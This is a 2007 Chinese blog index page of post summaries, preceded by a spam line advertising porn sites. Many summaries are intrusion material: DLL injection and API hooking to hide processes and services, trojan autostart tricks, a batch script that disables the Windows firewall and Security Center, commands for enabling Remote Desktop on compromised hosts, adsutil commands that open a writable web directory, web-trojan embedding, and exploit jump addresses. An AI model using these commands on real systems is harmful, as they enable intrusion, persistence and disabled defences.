日本私人网站在线观看,av电影在线播放高清免费观看,九九视频直播综合网

LNK1103: debugging information corrupt; recompile module

摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
閱讀全文

posted @ 2007-05-31 17:25 009 閱讀(7412) | 評(píng)論 (6) | 編輯收藏

控制臺(tái)下輸出DLL的調(diào)試信息(ZT)

摘要: 在cmd.exe下運(yùn)行rundll32.exe mydll.dll,MyFunc ,本想直接在當(dāng)前cmd窗口輸出調(diào)試信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe標(biāo)準(zhǔn)輸入輸出句柄無(wú)法被mydll.dll繼承用來(lái)向父進(jìn)程cmd.exe輸出數(shù)據(jù).
這時(shí), 如果用強(qiáng)行用GetStdHandle獲得句柄,然后用WriteConsole來(lái)進(jìn)行輸出,則會(huì)發(fā)生無(wú)效句柄錯(cuò)誤.
但是如果在這之前先AllocConsole,則可正常WriteConsole,但是會(huì)新建個(gè)控制臺(tái)窗口來(lái)輸出數(shù)據(jù),很不爽 :-P

有沒(méi)有什么辦法向當(dāng)前cmd.exe窗口輸出數(shù)據(jù)呢?
.............
閱讀全文

posted @ 2007-05-31 14:22 009 閱讀(1180) | 評(píng)論 (0) | 編輯收藏

char *和char [ ]的區(qū)別(ZT)

摘要: 見(jiàn)程序如下：

#include "stdafx.h"
#include "string.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}

如果用被注釋掉的那句話，程序運(yùn)行的時(shí)候就報(bào)錯(cuò)。
................

閱讀全文

posted @ 2007-05-31 13:25 009 閱讀(446) | 評(píng)論 (0) | 編輯收藏

Windows下的進(jìn)程隱藏(ZT)

摘要: 9X環(huán)境中Windows提供了想光的API函數(shù)用于隱藏系統(tǒng)進(jìn)程。但是到了2000以上系統(tǒng)，已經(jīng)無(wú)法真正的做到對(duì)于進(jìn)程的隱藏，除非編寫底層驅(qū)動(dòng)。但是我們可以通過(guò)一些變通的辦法來(lái)達(dá)到隱藏進(jìn)程的目的，其中一個(gè)就是遠(yuǎn)程注入。簡(jiǎn)單的說(shuō)就是先編寫一個(gè) API的DLL，然后將這個(gè)DLL庫(kù)注入到一個(gè)系統(tǒng)進(jìn)程中，作為它的一個(gè)線程去執(zhí)行。
要實(shí)現(xiàn)DLL注入，首先需要打開(kāi)目標(biāo)進(jìn)程。
hRemoteProcess = OpenProcess(　PROCESS_CREATE_THREAD | //允許遠(yuǎn)程創(chuàng)建線程
　　　 PROCESS_VM_OPERATION　| //允許遠(yuǎn)程VM操作
　　　 PROCESS_VM_WRITE,　//允許遠(yuǎn)程VM寫
　　　 FALSE, dwRemoteProcessId )
...........
閱讀全文

posted @ 2007-05-31 12:25 009 閱讀(693) | 評(píng)論 (0) | 編輯收藏

ApiHook類(ZT)

摘要: // 頭文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////

#ifndef API_HOOK_H
#define API_HOOK_H

class CApiHook
{
public :
HANDLE hProc ;
............
閱讀全文

posted @ 2007-05-31 11:38 009 閱讀(764) | 評(píng)論 (1) | 編輯收藏

APIHOOK之?dāng)r截OpenProcess（真正的實(shí)現(xiàn)了攔截TerminateProcess）(ZT)

摘要:
關(guān)于API HOOK（OpenProcess)，根據(jù)網(wǎng)上文章改寫
以下是部分程序，在VC++6.0 Plat SDK 2003 SP1下編譯通過(guò)

#include <windows.h>
#include "APIHook.h"

extern CAPIHook g_OpenProcess;

// 自定義OpenProcess函數(shù)
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()

HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
閱讀全文

posted @ 2007-05-31 11:33 009 閱讀(2972) | 評(píng)論 (0) | 編輯收藏

APIHOOK之殺毒軟件的簡(jiǎn)單實(shí)現(xiàn)(ZT)

摘要: #define DEBUGMSG

#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

TCHAR name[50]=""; //保存蟲(chóng)蟲(chóng)的文件名+路徑
FILE *Gfp=NULL; //輸出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征碼函數(shù)
.......................
閱讀全文

posted @ 2007-05-31 11:31 009 閱讀(519) | 評(píng)論 (0) | 編輯收藏

應(yīng)用層隱藏服務(wù)的項(xiàng)目(ZT)

摘要: 應(yīng)用層隱藏服務(wù)的項(xiàng)目 2006-03-28
HideService
　

// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所屬項(xiàng)目名稱：
// 所屬模塊名稱： AGENT Service Hook
// 所屬項(xiàng)目版本： 2.0
// 文件用途 :
// 文件作者 : horse_b
// 創(chuàng)建日期 : 2004-11-30
//
// 文件修改說(shuō)明：
// 文件修改人：
// 修改日期：
//
//
//
//********************************************************************************//
.............
閱讀全文

posted @ 2007-05-31 10:37 009 閱讀(903) | 評(píng)論 (0) | 編輯收藏

啟動(dòng)項(xiàng)新思路

摘要: 前幾天我看了一篇技術(shù)文章，是講述一種病毒的感染運(yùn)行機(jī)制。原文中提到了一個(gè)木馬啟動(dòng)的新的思路。（文章是兩年前的，唉，看來(lái)我們要學(xué)的東西好多阿）也許某些 ~高手已經(jīng)會(huì)了，但是很多人也不知道。我整理出來(lái)，結(jié)合我自己的試驗(yàn)，給大家簡(jiǎn)單介紹一下。作為一個(gè)小教程，本文不涉及程序方面的知識(shí)，菜鳥(niǎo)老鳥(niǎo)都能看明白的。暫時(shí)我們只針對(duì)XP和2000系統(tǒng)。其他的系統(tǒng)我沒(méi)測(cè)試過(guò)，不敢亂說(shuō)！

一般大家機(jī)器里都會(huì)有QQ吧，我們就用QQ來(lái)做試驗(yàn)！！?

直接在開(kāi)始菜單里找到運(yùn)行欄，輸入regedit，打開(kāi)注冊(cè)表編輯器。找到
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
.........
閱讀全文

posted @ 2007-05-22 22:57 009 閱讀(396) | 評(píng)論 (1) | 編輯收藏

一個(gè)VBS代碼

posted @ 2007-05-16 16:06 009 閱讀(631) | 評(píng)論 (0) | 編輯收藏

WSUS3安裝完畢，WSUS.MSC不能執(zhí)行

摘要: 風(fēng)馬牛不相及的垃圾提示：

MMC 不能打開(kāi)文件 C:\Program Files\Update Services\administrationsnapin\wsus.msc。
這可能是由于文件不存在，不是一個(gè) MMC 控制臺(tái)，或者用后來(lái)版本的 MMC 創(chuàng)建。也可能是由于您沒(méi)有訪問(wèn)此文件的足夠權(quán)限。

解決方法：

安裝KB907265補(bǔ)丁，中文Windows2003補(bǔ)丁地址為：http://download.microsoft.com/download/4/4/3/443ecb98-2394-4c92-b9e6-c50998edb8cf/WindowsServer2003-KB907265-x86-CHS.exe
閱讀全文

posted @ 2007-05-15 19:25 009 閱讀(774) | 評(píng)論 (0) | 編輯收藏

WSUS3安裝中途出錯(cuò)

摘要: 2007-05-15 18:19:20 Success MWUSSetup Validating pre-requisites...
2007-05-15 18:19:21 Error MWUSSetup Failed to determine if an higher version of WSUS is installed. Assuming it is not... (Error 0x80070002: 系統(tǒng)找不到指定的文件。)
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:57 Success MWUSSetup 閱讀全文

posted @ 2007-05-15 18:47 009 閱讀(2439) | 評(píng)論 (4) | 編輯收藏

Vista錯(cuò)誤刪除了備份驅(qū)動(dòng)目錄FileRepository后解決方法

摘要: 網(wǎng)上的東西真是沒(méi)多少可以相信的，我的Vista刪除了FileRepository目錄之后，USB不能用了，藍(lán)牙不能用了，設(shè)備管理器一堆感嘆號(hào)，更新驅(qū)動(dòng)，塞Vista安裝盤也沒(méi)用，折騰了N久了，最近終于解決了（不要隨便相信所謂的“減肥”）
下載IMAGEX6000
將VISTA安裝光盤中的WIM文件解壓
以管理員模式運(yùn)行命令提示符 IMAGEX.EXE /APPLY X:\SOURCES\INSTALL.WIM 4 X:\A 路徑自己改，目錄需先手工創(chuàng)建，4為U版
完成后把X:\A\Windows\System32\DriverStore\FileRepository中的文件復(fù)制回去就行了,不用重裝系統(tǒng)!
真想減肥，使用NTFS壓縮方式壓縮一下，其他就算了，以防萬(wàn)一
閱讀全文

posted @ 2007-05-15 18:43 009 閱讀(5255) | 評(píng)論 (5) | 編輯收藏

網(wǎng)頁(yè)木馬US-ASCII碼,unicode碼的加密解密(ZT)

摘要: 轉(zhuǎn)載:二少's Blog

US-ASCII加密,就是把7bit轉(zhuǎn)換為8bit

閱讀全文

posted @ 2007-05-12 21:06 009 閱讀(344) | 評(píng)論 (0) | 編輯收藏

利用ORACLE系統(tǒng)賬戶默認(rèn)口令提升權(quán)限(ZT)

摘要:
近日，偶到一主機(jī)上逛了一圈。主機(jī)的配置還算是安全，偏偏一個(gè)比較隱藏的目錄下殘留了upfile.asp，結(jié)果輕輕松松的得到了webshell。

接著在主機(jī)上逛了逛，拿出superscan從外面掃了下，只開(kāi)放了80端口。從user\程序目錄里，發(fā)現(xiàn)有一快捷方式：firecontrol，好象是某款硬件防火墻的控制臺(tái)。WEBSHELL下檢測(cè)了下開(kāi)放的服務(wù)，發(fā)現(xiàn)一般的可提權(quán)的方法都不可行，無(wú)SERV-U等等，主機(jī)的補(bǔ)丁也是打到了最新。試了下傳了個(gè)NC上去，反連接得到一SHELL，這下比在老兵的管理器里舒服多了。

在C盤下看到一個(gè)目錄oracle，看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件，確定了主機(jī)的服務(wù)名“xxx”，看了下版本“oracle 8i”，用數(shù)據(jù)庫(kù)連接器

............. 閱讀全文

posted @ 2007-04-30 14:37 009 閱讀(270) | 評(píng)論 (0) | 編輯收藏

命令行添加程序到windows默認(rèn)防火墻

摘要: @echo off
net stop "Security Center"
net stop SharedAccess
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /t REG_DWORD /d 0x4 /f
閱讀全文

posted @ 2007-04-22 12:25 009 閱讀(304) | 評(píng)論 (0) | 編輯收藏

“PE文件格式”1.9版完整譯文（附注釋）

摘要: 標(biāo) 題: 【翻譯】“PE文件格式”1.9版完整譯文（附注釋）
作者: ah007
時(shí) 間: 2006-02-28,13:32
鏈接: http://bbs.pediy.com/showthread.php?threadid=21932

$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $

PE文件格式系列譯文之一----
【翻譯】“PE文件格式”1.9版完整譯文（附注釋）
=========================================================
原著：Bernd. Luevelsmeyer
翻譯：ah007

[注意：本譯文的所有大小標(biāo)題序號(hào)都是譯者添加，以方便大家閱讀。圓圈內(nèi)的數(shù)字是注釋的編號(hào)，其中注釋②譯自微軟的《PECOFF規(guī)范》，其它譯自網(wǎng)絡(luò)。----譯者]
......... 閱讀全文

posted @ 2007-04-13 17:58 009 閱讀(1021) | 評(píng)論 (0) | 編輯收藏

腳本加密方法大全(ZT)

摘要: 本文一共介紹了七種方法：
一：最簡(jiǎn)單的加密解密
二：轉(zhuǎn)義字符"\"的妙用
三：使用Microsoft出品的腳本編碼器Script Encoder來(lái)進(jìn)行編碼（自創(chuàng)簡(jiǎn)單解碼）
四：任意添加NUL空字符（十六進(jìn)制00H）（自創(chuàng)）
...................
閱讀全文

posted @ 2007-04-13 12:22 009 閱讀(380) | 評(píng)論 (0) | 編輯收藏

一些opcodes(ZT)

摘要: 近日在寫exploit的時(shí)候需要用到一些其他語(yǔ)言的call ebx的跳轉(zhuǎn)地址，但是metasploit的opcode DB沒(méi)有包括繁體中文、日文、韓文機(jī)器的跳轉(zhuǎn)地址，所以費(fèi)了點(diǎn)時(shí)間收集了下，在這里要感謝傲少提供的機(jī)器給我去找地址。現(xiàn)在貼到這里，方便大家。

簡(jiǎn)體中文windows的通用跳轉(zhuǎn)地址：(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..............
閱讀全文

posted @ 2007-04-10 11:48 009 閱讀(262) | 評(píng)論 (0) | 編輯收藏

開(kāi)3389的幾種方法(留帖備查)

摘要: 1.打開(kāi)記事本，編輯內(nèi)容如下：
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
編輯好后存為BAT文件，上傳至肉雞，執(zhí)行。這里值得注意的是要確定winnt是否在c盤，如果在其他盤則需要改動(dòng)。
...................

閱讀全文

posted @ 2007-04-10 11:40 009 閱讀(319) | 評(píng)論 (0) | 編輯收藏

adsutil.vbs

摘要: web 和數(shù)據(jù)分離,有Pcanywhere,數(shù)據(jù)庫(kù)服務(wù)器有 IIS,
cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一個(gè)Web服務(wù)的端口
cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir創(chuàng)建一個(gè)虛擬目錄wodexi
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/path c:\ 設(shè)置路徑
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accesswrite 1設(shè)置寫權(quán)限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi 閱讀全文

posted @ 2007-04-10 11:32 009 閱讀(762) | 評(píng)論 (0) | 編輯收藏

掛馬代碼大全(ZT)

摘要: 一:框架掛馬

二:js文件掛馬

首先將以下代碼
document.write("");
保存為xxx.js，
則JS掛馬代碼為

三:js變形加密

muma.txt可改成任意后綴
.............
閱讀全文

posted @ 2007-04-09 11:39 009 閱讀(245) | 評(píng)論 (0) | 編輯收藏

水果機(jī)密碼解碼 "密碼公式" 看了就知道怎么打暴機(jī)了(ZT)

摘要: 笨驢的老虎機(jī)一共有7個(gè)賭項(xiàng)，分別是：

bar，賠率50，出現(xiàn)概率1/22（不明白為什么用這個(gè)詞，英語(yǔ)達(dá)人來(lái)講講，偶門家鄉(xiāng)管這個(gè)叫大50）；
77，賠率30，出現(xiàn)概率1/11；
西瓜，賠率10，出現(xiàn)概率1/11；
星星，賠率8，出現(xiàn)概率3/22；
鈴當(dāng)，賠率6，出現(xiàn)概率3/22；
木瓜，賠率4，出現(xiàn)概率2/11；
蘋果，賠率2，出現(xiàn)概率3/11；
...................
閱讀全文

posted @ 2007-04-09 11:11 009 閱讀(17665) | 評(píng)論 (2) | 編輯收藏

用ntfs流隱藏文件(zt)

摘要: 大家把ntfs分區(qū)上的文件拷貝到非ntfs分區(qū)上時(shí), 可能偶爾遇到過(guò)下面的情況, 系統(tǒng)提示會(huì)有數(shù)據(jù)丟失, 這是怎么回事呢?

實(shí)際上ntfs文件系統(tǒng)引入了"流"這個(gè)概念, 每個(gè)文件都可以有多個(gè)流, 而我們一般只使用了一個(gè), 通過(guò)給文件分配更多的流, 可以實(shí)現(xiàn)某種意義上的"文件隱藏". 例如可以控制臺(tái)中使用下面的命令建立一個(gè)文本文件:
dir d:>abc.txt
............
閱讀全文

posted @ 2007-04-05 21:52 009 閱讀(954) | 評(píng)論 (0) | 編輯收藏

冰刃IceSword FAQ 進(jìn)程、端口、服務(wù)篇(ZT)

摘要: 問(wèn)：現(xiàn)在進(jìn)程端口工具很多，什么要使用IceSword？
答：1、絕大多數(shù)所謂的進(jìn)程工具都是利用Windows的Toolhlp32或psapi再或ZwQuerySystemInformation系統(tǒng)調(diào)用（前二者最終也用到此調(diào)用）來(lái)編寫，隨便一個(gè)ApiHook就可輕輕松松干掉它們，更不用說(shuō)一些內(nèi)核級(jí) 后門了；極少數(shù)工具利用內(nèi)核線程調(diào)度結(jié)構(gòu)來(lái)查詢進(jìn)程，這種方案需要硬編碼，不僅不同
版本系統(tǒng)不同，打個(gè)補(bǔ)丁也可能需要升級(jí)程序，并且現(xiàn)在有人也提出過(guò)防止此
種查找的方法。而IceSword的進(jìn)程查找核心態(tài)方案是目前獨(dú)一無(wú)二的，并且
充分考慮內(nèi)核后門可能的隱藏手段，目前可以查出所有隱藏進(jìn)程。
2、絕大多數(shù)工具查找進(jìn)程路徑名也是通過(guò)Toolhlp32、psapi，前者會(huì)調(diào)用RtlDebug***函數(shù)向目標(biāo)注入遠(yuǎn)線程，后者會(huì)用調(diào)試api讀取目標(biāo)進(jìn)程內(nèi)存，本質(zhì)上都是對(duì)PEB的枚舉，前面我的blog提到過(guò)輕易修改PEB就讓這些工具找不到北了。而IceSword的核心態(tài)方案原原本本地將全路徑展示，就算運(yùn)行時(shí)剪切到其他路徑也會(huì)隨之顯示。
3、進(jìn)程dll 閱讀全文

posted @ 2007-04-04 15:15 009 閱讀(439) | 評(píng)論 (0) | 編輯收藏

公告

常用鏈接

留言簿(113)

隨筆分類

隨筆檔案

文章分類

相冊(cè)

Link

搜索

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

酒水不犯茶水葉的離去，是風(fēng)的追求還是樹(shù)的不挽留？
BlogJava \| 首頁(yè) \| 發(fā)新隨筆 \| 發(fā)新文章 \| 聯(lián)系 \| 聚合 \| 管理	隨筆：325 文章：0 評(píng)論：612 引用：0